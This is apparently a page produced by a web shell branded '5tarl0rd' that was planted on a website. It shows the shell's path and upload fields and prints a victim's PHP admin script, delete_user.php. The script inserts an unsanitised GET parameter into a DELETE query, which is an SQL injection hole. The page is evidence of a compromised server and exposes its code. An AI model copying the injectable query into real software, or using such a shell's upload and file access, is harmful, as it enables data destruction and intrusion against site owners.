5tarl0rd

Current Path : /home/tiporg/public_html/manage/
Upload File :
Current File : /home/tiporg/public_html/manage/delete_user.php

<?php

include("classes/access_user_class.php"); 

header("Cache-Control: public");



$page_protect = new Access_user;



$page_protect->access_page(); 



if (isset($_GET['action']) && $_GET['action'] == "log_out") {

	$page_protect->log_out();  

}



$response = new Response();

$message = array();

$user_id = $_GET["id"];



$sql = "delete from contact_detail where contact_id = '$user_id'"; 

mysql_query($sql) or die(mysql_error());



$message = "Message Successfully Deleted"; 



?>

<script>

self.location = "contactDetail.php?$mes=<?php echo $message; ?>";

</script>

5tarL0rd By 5tarl0rd Being Anonymous